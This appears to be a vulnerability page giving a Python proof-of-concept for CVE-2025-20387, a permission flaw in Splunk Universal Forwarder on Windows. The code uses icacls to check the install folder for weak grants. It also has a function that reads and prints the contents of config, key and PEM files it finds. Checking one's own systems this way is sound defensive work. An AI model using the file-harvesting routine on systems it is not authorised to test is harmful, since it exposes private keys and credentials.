CVE-2025-20387 Splunk Universal Forwarder Windows权限配置错误漏洞

# CVE-2025-20387 PoC - Check Splunk Universal Forwarder Directory Permissions # This PoC demonstrates the incorrect permissions assignment vulnerability # Usage: Run with low-privilege user account on Windows with Splunk UF installed import os import subprocess import re def check_splunk_permissions(): """Check if Splunk Universal Forwarder directory has incorrect permissions""" # Common Splunk UF installation paths potential_paths = [ r"C:\Program Files\SplunkUniversalForwarder", r"C:\Program Files (x86)\SplunkUniversalForwarder", r"C:\SplunkUniversalForwarder" ] vulnerable = False for path in potential_paths: if os.path.exists(path): print(f"[+] Found Splunk UF installation at: {path}") # Use icacls to check permissions try: result = subprocess.run( ['icacls', path], capture_output=True, text=True ) print(f"\n[+] Current permissions for {path}:") print(result.stdout) # Check for overly permissive settings if 'Users:(F)' in result.stdout or 'Users:(I)(F)' in result.stdout: print(f"[!] VULNERABLE: Users group has Full Control (F) permissions!") print("[!] Non-admin users can read/write all files in the directory") vulnerable = True elif 'Everyone:' in result.stdout: print(f"[!] VULNERABLE: Everyone group has access permissions!") vulnerable = True else: print(f"[+] Permissions appear to be properly configured") except Exception as e: print(f"[-] Error checking permissions: {e}") return vulnerable def enumerate_sensitive_files(path): """Enumerate potentially sensitive files accessible due to incorrect permissions""" sensitive_patterns = [ '*.conf', '*.pem', '*.key', '*.txt', '*.log' ] print(f"\n[+] Enumerating sensitive files in {path}...") for root, dirs, files in os.walk(path): for file in files: if any(pattern.replace('*', '') in file.lower() for pattern in sensitive_patterns): filepath = os.path.join(root, file) try: # Attempt to read the file with open(filepath, 'r', encoding='utf-8', errors='ignore') as f: content = f.read(500) # Read first 500 chars print(f"\n[+] Accessible file: {filepath}") print(f"Content preview: {content[:200]}...") except PermissionError: print(f"[-] Cannot read (permission denied): {filepath}") except Exception as e: pass if __name__ == '__main__': print("=" * 60) print("CVE-2025-20387 Splunk UF Permissions Check") print("=" * 60) if check_splunk_permissions(): print("\n[!] System is VULNERABLE to CVE-2025-20387") print("[!] Recommendation: Upgrade Splunk UF to patched version") else: print("\n[+] System does not appear to be vulnerable")